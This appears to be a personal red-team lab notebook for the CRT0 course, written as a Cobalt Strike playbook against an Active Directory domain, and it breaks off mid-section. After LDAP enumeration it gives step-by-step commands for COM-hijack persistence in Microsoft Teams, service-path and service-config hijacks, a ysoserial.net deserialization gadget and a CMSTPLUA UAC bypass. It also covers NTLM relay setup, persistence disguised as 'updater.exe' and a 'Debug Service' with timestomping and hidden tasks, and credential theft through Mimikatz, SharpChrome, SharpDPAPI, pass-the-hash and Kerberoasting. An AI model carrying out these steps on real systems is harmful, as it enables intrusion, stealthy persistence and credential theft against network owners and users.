

CRT0 Notes

AD Domain

General

This is the first place I start when I need to understand the domain structure from a Beacon. The goal here is to identify the domain, domain controllers, password policy, trusts, and anything that shows how this domain connects to other domains or forests.

The LDAP commands are useful when I want direct Active Directory enumeration from Cobalt without relying on PowerView. The BOF-style commands are kept where they match the original lab workflow.

Goal	Command
Domain information	<code>ldapsearch (objectClass=domainDNS) --attributes *</code>
FSMO roles	<code>ldapsearch (fSMORoleOwner=*) --attributes fSMORoleOwner</code>
Domain password policy	<code>ldapsearch (objectClass=domainDNS) --attributes maxPwdAge,minPwdLength,pwdHistoryLength</code>
Trusts	<code>ldapsearch (objectClass=trustedDomain) --attributes name,trustPartner,trustAttributes</code>
External trusts	<code>ldapsearch (&(objectClass=trustedDomain)(trustAttributes=8)) --attributes name,trustPartner</code>
Forest trusts	<code>ldapsearch (&(objectClass=trustedDomain)(trustAttributes=32)) --attributes name,trustPartner</code>
Domain name	<code>net domain</code>
Domain controllers	<code>net domain_controllers</code>
Domain trusts	<code>net domain_trusts</code>

Domain Information

I use this to pull the base domain object and quickly understand the domain's LDAP properties.

```
ldapsearch (objectClass=domainDNS) --attributes *
```

FSMO Roles

This helps identify where the FSMO roles live. In a lab, this usually helps confirm which systems matter most before moving deeper into Kerberos, trusts, or DC-focused paths.

```
ldapsearch (fSMORoleOwner=*) --attributes fSMORoleOwner
```

Domain Password Policy

I check the password policy early because it affects password attacks, spraying decisions, lockout risk, and how aggressive I can be with credential testing.

```
ldapsearch (objectClass=domainDNS) --attributes maxPwdAge,minPwdLength,pwdHistoryLength
```

Trusts

Trusts matter because they can create attack paths outside the current domain. I use this to identify the trust partner and the trust attributes before deciding whether there is a child-parent, forest, external, or cross-domain path.

```
ldapsearch (objectClass=trustedDomain) --attributes name,trustPartner,trustAttributes
```

External Trusts

External trusts are important because they may connect to another domain without being part of the same forest.

```
ldapsearch (&(objectClass=trustedDomain)(trustAttributes=8)) --attributes name,trustPartn
```

```
er
```

Forest Trusts

Forest trusts matter when the path may cross forest boundaries.

```
ldapsearch (&(objectClass=trustedDomain)(trustAttributes=32)) --attributes name,trustPart  
ner
```

BOF Domain Commands

These are the simple Beacon-native domain checks I keep near the top of the workflow.

```
net domain
```

```
net domain_controllers
```

```
net domain_trusts
```

For host discovery and quick service checks, I use the Cobalt host right-click workflow when appropriate.

```
Right click host
```

AD ACL

General

ACL enumeration is where I start looking for object control paths. The important idea is to identify who can modify users, groups, computers, OUs, GPOs, or domain-level permissions.

I avoid turning this into PowerView syntax here. The focus is LDAP-based discovery and understanding what the rights mean.

Term	Meaning
DACL	Defines who is allowed or denied access to an object.
SACL	Defines auditing rules for access attempts against an object.
WriteDACL	Can modify the object's permissions.
WriteOwner	Can change ownership of the object.
GenericAll	Broad control over the object.
GenericWrite	Can modify useful attributes on the object.
AllExtendedRights	Can include rights such as password reset or replication-related rights depending on the object.

Objects With ACE Delegations

This is used to look for objects that have security descriptors worth reviewing.

```
ldapsearch (ntSecurityDescriptor=*) --attributes distinguishedName,ntSecurityDescriptor
```

LAPS Password Readable Locations

This is useful when checking whether LAPS passwords are exposed through LDAP attributes.

```
ldapsearch (ms-Mcs-AdmPwd=*) --attributes ms-Mcs-AdmPwd
```

Computers With WriteSPN Risk

SPNs on computer objects can become interesting when the object can be modified or abused for Kerberos-related attacks.

```
ldapsearch (&(objectCategory=computer)(servicePrincipalName=*)) --attributes name
```

Objects Writable by Authenticated Users

This is a quick way to hunt for objects where low-privileged users may have dangerous write rights.

```
ldapsearch (|(writeProperty=*)(writeOwner=*)(writeDacl=*)(writeMember=*)) --attributes distinguishedName
```

ACL Notes

When I find object control, I do not treat it as useful until I map it to an actual abuse path. The main questions are:

Question	Why It Matters
What object is controlled?	A user, group, computer, OU, GPO, or domain object has different impact.
What right exists?	GenericAll, GenericWrite, WriteDACL, and WriteOwner lead to different abuse paths.
Who has the right?	The principal may be a user, group, nested group, or foreign principal.
What does the object control?	A weak ACL only matters if it leads to useful access.
Can this become code execution or credential access?	The best ACL paths lead to sessions, tickets, admin rights, or domain escalation.

AD Users

General

User enumeration gives me the first set of identity targets. I use this to find normal users, disabled accounts, stale accounts, privileged users, roastable users, delegation users, and accounts with useful attributes.

The goal is not just to list users. The goal is to find users that can become credentials, tickets, delegation paths, or escalation paths.

Goal	Command
All domain users	<code>ldapsearch (&(objectCategory=person)(objectClass=user)) --attributes name,samAccountName</code>

Goal	Command
Enabled users	<code>ldapsearch (&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) --attributes name</code>
Disabled users	<code>ldapsearch (&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)) --attributes name</code>
Locked-out users	<code>ldapsearch (lockoutTime>=1) --attributes name</code>
Password never expires	<code>ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=65536) --attributes name</code>
Password not required	<code>ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=32) --attributes name</code>
Users with descriptions	<code>ldapsearch (&(objectCategory=person)(objectClass=user)(description=*)) --attributes samAccountName,description</code>
Protected admin users	<code>ldapsearch (&(samAccountType=805306368)(adminCount=1)) --attributes name,memberof</code>
AS-REP roastable users	<code>ldapsearch (&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=4194304)) --attributes samAccountName</code>
Kerberoastable users	<code>ldapsearch (&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) --attributes samAccountName,servicePrincipalName</code>
Unconstrained delegation users	<code>ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=524288) --attributes samAccountName,servicePrincipalName</code>
Constrained delegation users	<code>ldapsearch (msDS-AllowedToDelegateTo=*) --attributes samAccountName,msDS-AllowedToDelegateTo</code>
Users trusted to authenticate for delegation	<code>ldapsearch (msDS-AllowedToActOnBehalfOfOtherIdentity=*) --attributes samAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity</code>
Users with SID history	<code>ldapsearch (sIDHistory=*) --attributes samAccountName,sIDHistory</code>
Users with home directories	<code>ldapsearch (homeDirectory=*) --attributes samAccountName,homeDirectory</code>

Goal	Command
Accounts with reversible passwords	<code>ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=128) --attributes samAccountName</code>
Users with delegated logon rights	<code>ldapsearch (msDS-LogonTimeSyncInterval=*) --attributes name</code>

All Domain Users

This gives me the base list of users and their `samAccountName`.

```
ldapsearch (&(objectCategory=person)(objectClass=user)) --attributes name,samAccountName
```

Enabled Users

Enabled users are the main accounts I care about for password attacks, Kerberos abuse, and access testing.

```
ldapsearch (&(objectCategory=person)(objectClass=user)!(userAccountControl:1.2.840.113556.1.4.803:=2)) --attributes name
```

Disabled Users

Disabled users can still be useful for historical context, naming patterns, old descriptions, group memberships, or stale service account clues.

```
ldapsearch (&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)) --attributes name
```

Locked-Out Users

Locked accounts help me understand whether someone may have recently attempted authentication or whether account lockout is actively happening.

```
ldapsearch (lockoutTime>=1) --attributes name
```

Password Never Expires

This is important for service accounts and older accounts that may be roastable or weakly managed.

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=65536) --attributes name
```

Password Not Required

This is a risky configuration and worth checking during user triage.

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=32) --attributes name
```

Users With Description Field Set

Descriptions are one of the easiest places to find passwords, operational notes, or service account clues.

```
ldapsearch (&(objectCategory=person)(objectClass=user)(description=*)) --attributes samAccountName,description
```

Protected Admin Users

`adminCount=1` usually means the account is privileged now or was privileged in the past. These are high-priority users.

```
ldapsearch (&(samAccountType=805306368)(adminCount=1)) --attributes name,memberof
```

AS-REP Roastable Users

These users do not require Kerberos pre-authentication, making them useful for AS-REP roasting.


```
ldapsearch (&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=4194304)) --attributes samAccountName
```

Kerberoastable Users

These users have SPNs and may return crackable Kerberos service tickets.

```
ldapsearch (&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) --attributes samAccountName,servicePrincipalName
```

Delegation Users

Delegation settings can become Kerberos attack paths, especially when they involve useful services like CIFS, LDAP, HTTP, or MSSQL.

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=524288) --attributes samAccountName,servicePrincipalName
```

```
ldapsearch (msDS-AllowedToDelegateTo=*) --attributes samAccountName,msDS-AllowedToDelegateTo
```

```
ldapsearch (msDS-AllowedToActOnBehalfOfOtherIdentity=*) --attributes samAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity
```

SID History

SID history can matter when old domain relationships or migrated privileges exist.

```
ldapsearch (sIDHistory=*) --attributes samAccountName,sIDHistory
```

Home Directories

Home directories may point to file shares, user data, scripts, or useful storage locations.

```
ldapsearch (homeDirectory=*) --attributes samAccountName,homeDirectory
```

Reversible Password Storage

This setting is rare but very important if found.

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=128) --attributes samAccountName
```

BOF User Enumeration

This is the Beacon-native user listing from the lab notes.

```
net user
```

AD Groups

General

After enumerating users, I move into groups because group membership usually explains why an account matters. In the lab, I care most about privileged groups, nested groups, adminCount groups, empty groups that may be abused later, and groups that control access to servers, SQL, support roles, or security operations.

The main goal is to understand which users or groups can lead to admin rights, lateral movement, delegated control, or a Kerberos abuse path.

All Groups

This gives me the base group list in the domain.

```
ldapsearch (objectClass=group) --attributes name
```

Domain Admins Members

This identifies the main domain-level admin group members.

```
ldapsearch (&(objectClass=group)(cn=Domain Admins)) --attributes member
```

Enterprise Admins Members

This matters when working in a forest or child-parent domain structure. Enterprise Admins are forest-level privileged accounts.

```
ldapsearch (&(objectClass=group)(cn=Enterprise Admins)) --attributes member
```

Built-In Administrators Members

This can reveal users or groups with built-in administrative rights.

```
ldapsearch (&(objectClass=group)(cn=Administrators)) --attributes member
```

Nested Group Lookup

Nested groups are important because a user may not appear directly inside a privileged group. This recursive LDAP matching rule helps find nested membership paths.

```
ldapsearch (member:1.2.840.113556.1.4.1941:=<DN>) --attributes name
```

Empty Groups

Empty groups can still matter if they are delegated permissions or are used in GPOs, local admin mappings, or application access.

```
ldapsearch (&(objectClass=group)(!(member=*))) --attributes name
```

Groups With AdminCount

Groups with `adminCount=1` are high-priority because they are protected or historically tied to privileged access.

```
ldapsearch (&(objectClass=group)(adminCount=1)) --attributes name,member
```

BOF Group Enumeration

These are useful quick Beacon-native checks from the lab workflow.

```
net group
```

```
net localgroup
```

Group Notes

When I find an interesting group, I track what the group controls instead of only writing down its name.

Group Type	Why I Care
Domain Admins	Direct domain admin path
Enterprise Admins	Forest-level escalation path
Administrators	Built-in administrative access
Help Desk	Often has delegated reset or workstation admin rights
LAPS Admins	May read local admin passwords
Security Operations	Often has delegated rights or monitoring access
Protected Users	Important for Kerberos and credential behavior
Exchange groups	Can create major AD privilege escalation paths
SQL-related groups	May provide database or server access

AD Computers

General

Computer enumeration tells me what systems exist, what roles they likely have, and where I should focus next. In the lab, I care about domain controllers, SQL

servers, file servers, management servers, workstations, delegation-enabled computers, and computers with SPNs.

I use this section to decide where to hunt for sessions, where to test access, where to pivot, and where Kerberos or SQL abuse may be possible.

All Computers

This gives me the base list of computer objects and operating systems.

```
ldapsearch (objectCategory=computer) --attributes name,operatingSystem
```

Domain Controllers

Domain controllers are always high-value because they handle LDAP, Kerberos, SYSVOL, trusts, and replication-sensitive paths.

```
ldapsearch (&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))  
--attributes name,dNSHostName
```

Servers by Operating System

This is useful for separating server targets from normal workstations.

```
ldapsearch (&(objectCategory=computer)(operatingSystem=Server)) --attributes name,operati  
ngSystem
```

Workstations

Workstations are useful for user sessions, local admin paths, and lateral movement opportunities.

```
ldapsearch (&(objectCategory=computer)(operatingSystem=Windows 10)) --attributes name
```

Unconstrained Delegation Computers

Unconstrained delegation computers are high-value because useful TGTs may be cached when privileged users or machines authenticate to them.

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=524288) --attributes name,servicePrincipalName
```

Constrained Delegation Computers

Constrained delegation computers matter because the `msDS-AllowedToDelegateTo` attribute can reveal specific services that may be abused with S4U.

```
ldapsearch (msDS-AllowedToDelegateTo=*) --attributes name,msDS-AllowedToDelegateTo
```

RBCD Computers

This identifies computer objects where resource-based constrained delegation may already be configured.

```
ldapsearch (msDS-AllowedToActOnBehalfOfOtherIdentity=*) --attributes name
```

Computers With SPNs

SPNs help identify service roles, especially SQL, HTTP, CIFS, HOST, and other Kerberos-backed services.

```
ldapsearch (&(objectCategory=computer)(servicePrincipalName=*)) --attributes name,servicePrincipalName
```

Computers Without SMB Signing Indicator

This was kept as a quick computer attribute query from the notes. I treat this as a lead, not final proof, and verify the actual protocol behavior before relying on it.

```
ldapsearch (&(objectClass=computer)(!(msDS-SupportedEncryptionTypes=*)) --attributes name
```

BOF Computer Enumeration

These commands give quick visibility from Beacon without switching into PowerView.

```
net computers
```

Logons

Logons do not always mean SMB sessions. They may come from RDP, interactive login, service account logon, scheduled task activity, or Kerberos ticket activity. I use this as a lead for where interesting users may be active.

```
net logons
```

SMB Sessions

This is useful when I want to understand who is accessing the current host over SMB.

```
net session
```

Shares

This helps identify shares exposed by the current context.

```
net shares
```

Processes

Process listing is useful for checking Beacon context, identifying interesting user processes, and deciding whether there is a useful token or process to interact with.

```
ps
```

GUI process view:

```
view --> processes
```

Computer Notes

When I enumerate computers, I separate targets by purpose.

Computer Type	Why I Care
Domain controller	LDAP, Kerberos, SYSVOL, trusts
SQL server	SQL abuse, linked servers, service accounts
File server	Shares, credentials, backups, scripts
Management server	Admin sessions, tools, broad access
Jump server	Privileged sessions and network reachability
Workstation	User sessions and local privilege paths
Delegation host	Kerberos abuse paths
ADCS host	Certificate abuse paths

AD Organizational Units

General

OUs matter because they show how the domain is organized and where GPOs apply. In the lab, OUs can reveal server groupings, workstation groupings, delegated administration, blocked inheritance, and GPO paths that affect local admin rights or scripts.

All OUs

This gives the full OU list and distinguished names.

```
ldapsearch (objectClass=organizationalUnit) --attributes name,distinguishedName
```

OUs With Delegation

This is useful for finding OUs that may have linked policy behavior or delegated control.

```
ldapsearch (gLlink=*) --attributes name,gLlink
```

OUs With Blocked Inheritance

Blocked inheritance can explain why certain GPOs do not apply to a host or user.

```
ldapsearch (gPOptions=1) --attributes name
```

OUs With Computers Only

This helps identify OUs that likely contain computer objects and may map to workstation or server groups.

```
ldapsearch (&(objectClass=organizationalUnit)(!(objectClass=user))) --attributes distinguishedName
```

OUs With Linked GPOs

GPO links are one of the main reasons OUs matter. This helps map which policies apply to which OU.

```
ldapsearch (&(objectClass=organizationalUnit)(gLlink=*)) --attributes name,gLlink
```

OUs With Blocked GPO Inheritance

This is another way to specifically focus on GPO inheritance behavior.

```
ldapsearch (&(objectClass=organizationalUnit)(gPOptions=1)) --attributes name
```

OUs That Delegate Rights to Non-Admins

The `managedBy` attribute is a lead for delegated administration or ownership.

```
ldapsearch (&(objectClass=organizationalUnit)(managedBy=*)) --attributes name,managedBy
```

OUs That Contain Privileged Users

This helps check whether privileged users are grouped into specific OUs.

```
ldapsearch (&(objectClass=organizationalUnit)(adminCount=1)) --attributes name
```

OU Notes

When I find an interesting OU, I track the OU, linked GPOs, and the type of objects inside it.

OU Detail	Why It Matters
Distinguished name	Needed for later LDAP queries
Linked GPO	Explains policy application
Blocked inheritance	Explains why expected policy may not apply
ManagedBy	May reveal delegated admins
Computer OU	May map to local admin or server roles
Privileged OU	May reveal admin organization patterns

AD GPO

General

GPOs are important because they can affect local administrators, scripts, scheduled behavior, preferences, and security settings. In the lab, I use GPO enumeration to understand why a user has access to a host, where scripts may live, and whether there are old preference artifacts or local group mappings.

All GPOs

This lists the GPO containers and version numbers.

```
ldapsearch (objectClass=groupPolicyContainer) --attributes displayName,versionNumber
```

GPOs Linked to OUs

This maps GPOs back to OUs through `gPLink`.

```
ldapsearch (&(objectClass=organizationalUnit)(gPLink=*)) --attributes gPLink
```

GPOs With Scripts

Scripts are important because they may contain credentials, paths, or execution logic.

```
ldapsearch (scriptPath=*) --attributes scriptPath
```

GPOs With Restricted Groups

Restricted Groups can explain local administrator membership on systems.

```
ldapsearch (gPCMachExtensionNames=Restricted) --attributes displayName
```

GPOs With Logon Scripts

Logon scripts can contain useful paths, credentials, or operational logic.

```
ldapsearch (&(objectClass=groupPolicyContainer)(scriptPath=*)) --attributes displayName,scriptPath
```

GPOs With Restricted Groups

This is the groupPolicyContainer-focused version for Restricted Groups.

```
ldapsearch (&(objectClass=groupPolicyContainer)(gPCMachExtensionNames=Restricted)) --attributes displayName
```

GPOs Containing Preferences Passwords

This is useful for hunting old Group Policy Preference artifacts.

```
ldapsearch (&(objectClass=groupPolicyContainer)(gPCMachineExtensionNames=Preferences)) --  
attributes displayName,gPCFileSysPath
```

GPOs That Modify Local Admins

This helps identify GPOs that may control local group membership.

```
ldapsearch (&(objectClass=groupPolicyContainer)(gPCMachineExtensionNames=GroupMembershi  
p)) --attributes displayName
```

GPO Notes

When I see an interesting GPO, I track what it changes and where it applies.

GPO Finding	Why I Care
Linked OU	Shows where the GPO applies
Scripts	May contain credentials or execution paths
Restricted Groups	May explain local admin rights
Preferences	May contain legacy credential artifacts
GroupMembership extension	May affect local groups
Version number	Helps confirm policy changes
gPCFileSysPath	Points to SYSVOL location for policy files

Cobalt Persistence

General

This section is about the persistence workflow from the lab where an application references a COM object that does not exist yet. If the application keeps looking for a missing CLSID, that missing reference can become a hijack point.

The important thing I was looking for was an unused CLSID that was referenced by Microsoft Teams. Once I found a CLSID that Teams attempted to load, I could

place my DLL in the expected path and register the CLSID to point to my payload.

Finding a CLSID

I used Procmon to find missing COM objects being requested by Teams.

```
C:\Tools\SysinternalsSuite\Procmon64.exe
```

Procmon Filters

The filters help reduce the noise so I only see the COM lookup behavior I care about.

Filter	Value
Process Name	ms-teams.exe
Operation	RegOpenKey
Path	ends with InprocServer32
Result	NAME NOT FOUND

```
Filter > Filter
```

```
Process Name is ms-teams.exe then Include.
```

```
Operation is RegOpenKey then Include.
```

```
Path ends with InprocServer32 then Include.
```

```
Result is NAME NOT FOUND then Include.
```

After the filters were set, I ran Microsoft Teams and watched for a CLSID that was referenced but missing.

```
Run Microsoft Teams
```

The CLSID used in the lab notes:

```
7D096C5F-AC08-4F1F-BEB7-5C22C517CE39
```

COM Hijack

The lab workflow used the Teams meeting add-in path as the payload location. The idea was to place the Beacon DLL where Teams would load it, rename it to blend into the application directory, timestamp it, then register the CLSID to point to it.

```
cd C:\Users\pchilds\AppData\Local\Microsoft\TeamsMeetingAdd-in\1.25.14205\x64
```

```
upload C:\Payloads\http_x64.dll
```

```
mv http_x64.dll Microsoft.Teams.HttpClient.dll
```

```
timestamp Microsoft.Teams.HttpClient.dll Microsoft.Teams.Diagnostics.dll
```

Register the CLSID

The CLSID is registered through Beacon using `reg_set`, which keeps the workflow inside Cobalt.

```
reg_set HKCU "Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}\InprocServer32" "" REG_EXPAND_SZ "%LocalAppData%\Microsoft\TeamsMeetingAdd-in\1.25.14205\x64\Microsoft.Teams.HttpClient.dll"
```

Set Threading Model

The threading model is set to `Both` so the COM object can be loaded correctly.

```
reg_set HKCU "Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}\InprocServer32" "ThreadingModel" REG_SZ "Both"
```

Trigger

After the registry keys and DLL are in place, Teams is opened again to trigger the load.

```
Run Teams on target
```

Notes

This persistence path depends on the application actually referencing the missing COM object. The key part of the workflow is not the specific CLSID itself, but the process of finding a missing `InprocServer32` lookup and hijacking it in a user-writable registry location.

Cobalt Post Exploitation

General

This section is focused on working with Beacons after initial access. The lab workflow uses Beacon-native commands for session passing, execution, BOFs, and token-based context changes.

Session Passing

Spawning a new Beacon can be useful when changing listener type, testing alternate C2 paths, or creating a cleaner working session.

```
spawn x64 dns
```

Spawning as another user is useful when plaintext credentials are available and I want a Beacon running under that user context.

```
spawnas CONTOSO\rsteel Passw0rd! tcp-local
```

Command and Payload Execution

For this playbook, I am keeping the OPSEC-friendly Cobalt-native and in-memory options from the lab notes.

Running a .NET assembly in memory:

```
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe AntiVirus
```

Running a BOF:

```
ipconfig
```

Notes

The important distinction here is that post-exploitation should stay inside Beacon-native, BOF, or in-memory execution paths where possible. I avoid switching into noisy command execution unless the lab specifically requires it.

AD NTLM Relay

General

This section was marked as not yet tried in the notes, but the setup is useful to keep because it shows the PortBender and relay workflow.

The idea is to redirect inbound traffic from a privileged port to a relay port, forward it through Beacon, and expose a SOCKS route for tooling.

Cobalt NTLM Relay

Upload the PortBender driver:

```
upload C:\\B0F\\PortBender\\WinDivert64.sys
```


Reference:

```
https://offsec.tools/tool/portbender
```

PortBender Backdoors

SMB redirection:

```
portbender backdoor 445 8445
```

HTTP redirection:

```
portbender backdoor 80 8080
```

Reverse Port Forwarding

SMB reverse port forward:

```
rportfwd 8445 127.0.0.1 445
```

HTTP reverse port forward:

```
rportfwd 8080 127.0.0.1 80
```

SOCKS

```
socks 1080 socks5
```

Notes

This workflow is useful when the target host receives inbound authentication but the relay tooling needs to be reachable through the Beacon path. The main pieces are PortBender, reverse port forwarding, and SOCKS.

Cobalt Privilege Escalation

General

This section focuses on privilege escalation paths from the lab that stay inside Cobalt-style workflows. The important checks are service paths, service permissions, registry permissions, and whether a payload can be placed or configured through Beacon.

Unquoted Service Path

The goal is to identify a service path where Windows may execute a writable path component before the intended binary.

Confirm the service path:

```
sc_qc BadWindowsService
```

Confirm permissions on the directory:

```
cacls "C:\Program Files\Bad Windows Service"
```

Move into the writable service path:

```
cd C:\Program Files\Bad Windows Service
```

Upload the service Beacon payload:

```
upload C:\Payloads\dns_x64.svc.exe
```

Rename it to match the hijack opportunity:

```
mv dns_x64.svc.exe Service.exe
```

Restart the service:

```
sc_stop BadWindowsService  
sc_start BadWindowsService
```

Notes

This path works when the service path and directory permissions create a hijackable execution location. I confirm the service path first, then confirm write permissions before placing the payload.

Service Registry Permissions

This path is about modifying the service configuration when the registry permissions allow it.

Stop the service:

```
sc_stop BadWindowsService
```

Move into a working directory:

```
cd C:\Temp
```

Upload the service Beacon payload:

```
upload C:\Payloads\dns_x64.svc.exe
```

Check the current service configuration:

```
sc_qc BadWindowsService
```

Change the configured service path to the Beacon payload:

```
sc_config BadWindowsService C:\Temp\dns_x64.svc.exe 0 2
```

Start the service:

```
sc_start BadWindowsService
```

After the Beacon is acquired, restore the original service path:

```
sc_config BadWindowsService "C:\Program Files\Bad Windows Service\Service Executable\BadW  
indowsService.exe" 0 2
```

Remove the payload:

```
rm dns_x64.svc.exe
```

Notes

The important part is restoring the service configuration after the Beacon is obtained. I always keep the original path from `sc_qc` before modifying anything.

Unsafe Deserialization

General

The unsafe deserialization workflow used a serialized gadget to trigger execution through a vulnerable service. The notes used a Beacon one-liner as the payload source.

Host a Beacon One-Liner

```
Right-click the Beacon -> select Access > One-liner
```

Generate Serialized Gadget

The lab used `ysoserial.net` with `TypeConfuseDelegate` and a BinaryFormatter payload.

```
C:\Tools\ysoserial.net\ysoserial\bin\Release\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "[ONE-LINER]" -o raw --outputpath=C:\Payloads\data.bin
```

Upload Gadget

```
cd C:\Temp  
upload C:\Payloads\data.bin
```

Trigger Service

```
sc_start BadWindowsService
```

Notes

The important part here is that the gadget payload should point to the Beacon one-liner generated from Cobalt, not a random command. The service is then triggered to deserialize the payload and execute the one-liner.

CMSTPLUA UAC Bypass

General

This path requires the Beacon process to live under `C:\Windows*`. The workflow is to spawn a new Beacon, generate a one-liner for the local TCP listener, then run the UAC bypass through `runasadmin`.

Spawn New Beacon

```
spawn x64 http
```

Generate One-Liner

Right-click the Beacon, select Access > One-liner and select the tcp-local listener.

Run One-Liner Through runasadmin

```
runasadmin uac-cmstp.lua [ONE-LINER]
```

Connect to Elevated Beacon

```
connect localhost 1337
```

Notes

This is a UAC bypass path, not a privilege escalation from a normal user. The user must already be local admin, and the goal is to get a high-integrity Beacon.

Cobalt Elevated Persistence

General

This section is for persistence that requires elevated access. The lab examples focused on creating something that blends into normal Windows locations and then having it trigger a Beacon without needing to manually re-run the payload.

The two elevated persistence paths in these notes are:

Persistence Method	Purpose
Scheduled task	Runs a payload through Task Scheduler, usually hidden and configured to run as SYSTEM.
Windows service	Creates a service that points to a service Beacon payload.

Task Scheduler Creation

The scheduled task uses an XML definition. The task is configured with a boot trigger, runs as SYSTEM, and points to an updater-style binary path.

```
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
```

```

<Triggers>
  <BootTrigger>
    <Enabled>>true</Enabled>
  </BootTrigger>
</Triggers>
<Principals>
  <Principal>
    <UserId>NT AUTHORITY\SYSTEM</UserId>
    <RunLevel>HighestAvailable</RunLevel>
  </Principal>
</Principals>
<Settings>
  <AllowStartOnDemand>>true</AllowStartOnDemand>
  <Enabled>>true</Enabled>
  <Hidden>>true</Hidden>
</Settings>
<Actions>
  <Exec>
    <Command>"C:\Program Files\Microsoft Update Health Tools\updater.exe"</Command>
  </Exec>
</Actions>
</Task>

```

The payload is placed in the Microsoft Update Health Tools directory and renamed to look like an updater.

```
cd C:\Program Files\Microsoft Update Health Tools
```

```
upload C:\Payloads\dns_x64.exe
```

```
mv dns_x64.exe updater.exe
```

The scheduled task is then created from the XML.

```
schtaskscreate \Microsoft\Windows\WindowsUpdate\Updater XML CREATE
```

Notes

The payload name in this path is:

```
updater.exe
```

This makes the scheduled task path look like a Windows update-related component. The important part is keeping the task path, payload name, and task XML consistent.

Windows Service Creation

This persistence path creates a new Windows service that points to a service Beacon payload.

Move into the service payload location:

```
cd C:\Windows\System32
```

Upload the service Beacon:

```
upload C:\Payloads\dns_x64.svc.exe
```

Rename the Beacon binary:

```
mv dns_x64.svc.exe debug_svc.exe
```

Create the service:

```
sc_create dbgsvc "Debug Service" C:\Windows\System32\debug_svc.exe "Windows Debug Servic
```



```
e" 0 2 3
```

Notes

The service payload is:

```
debug_svc.exe
```

The service name is:

```
dbgsvc
```

The display name is:

```
Debug Service
```

The Beacon process from this path was noted as:

```
rundll32.exe
```

Cobalt Credential Access

General

This section is for pulling credentials, secrets, browser data, saved credentials, OS secrets, and Kerberos material from a Beacon. I keep this separated by source because each source gives a different kind of credential or ticket.

The main categories are:

Source	Tooling
Web browsers	SharpChrome
Windows Credential Manager	Vaultcmd, Seatbelt, SharpDPAPI
OS credentials	Mimikatz

Source	Tooling
Kerberos tickets and keys	Rubeus, Mimikatz
NTLM material	Mimikatz, hash extraction, pass-the-hash

Web Browsers

SharpChrome is used to pull Chrome logins.

```
execute-assembly C:\Tools\SharpDPAPI\SharpChrome\bin\Release\SharpChrome.exe logins
```

Notes

Browser credential access is useful when the compromised user has saved passwords for internal portals, web applications, or administrative systems.

Windows Credential Manager

List saved Windows credentials:

```
run vaultcmd /listcreds:"Windows Credentials" /all
```

Use Seatbelt to enumerate Windows Vault data:

```
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault
```

Use SharpDPAPI to find and decrypt credentials through RPC:

```
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /r  
pc
```

Notes

Windows Credential Manager is especially useful on jump boxes, admin workstations, and systems where users authenticate to internal services often.

OS Credentials

Dump LSASS logon material:

```
mimikatz sekurlsa::logonpasswords
```

Dump Kerberos encryption keys:

```
mimikatz sekurlsa::ekeys
```

Dump SAM local account hashes:

```
mimikatz lsadump::sam
```

Dump cached domain credentials:

```
mimikatz lsadump::cache
```

Notes

OS credential dumping should be targeted. I use it when the host is likely to contain useful sessions, admin activity, service account activity, or Kerberos material.

Pass NTLM Hash

Use the NTLM hash to create a token.

```
make_token rsteel CONTOSO fc525c9683e8fe067095ba2ddc971889
```

Notes

The purpose here is to convert hash material into usable access inside Beacon. After creating the token, the next step is to test access to the target resource using Beacon-native file browsing or Cobalt lateral movement.

Kerberos Tickets

General

Kerberos material is usually more valuable than plaintext credentials in the CRT0 lab because it supports ticket-based movement, roasting, delegation abuse, and impersonation paths.

AS-REP Roast

Run AS-REP roasting through Rubeus:

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /format:hashcat /nowrap
```

Crack the AS-REP hash:

```
.\hashcat.exe -a 0 -m 18200 .\asrep.hash .\example.dict -r .\rules\dive.rule
```

Notes

AS-REP roasting applies when a user does not require Kerberos pre-authentication. I keep the cracked password tied to the exact user, domain, and source command.

Kerberoasting

Run Kerberoasting through Rubeus:

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /format:hashcat /simple
```

Crack the Kerberoast hash:

```
.\hashcat.exe -a 0 -m 13100 .\kerb.hash .\example.dict -r .\rules\dive.rule
```

Notes

Kerberoasting is especially useful against service accounts, SQL accounts, and accounts with passwords that do not rotate often.

Rubeus Triage

Use triage to identify available tickets and logon sessions.

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
```

Extract Ticket

Dump a specific ticket by LUID and service.

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:[LUID] /service:krbtgt /nowrap
```

Pass TGT Into New Process

Pass the ticket into a new netonly process.

```
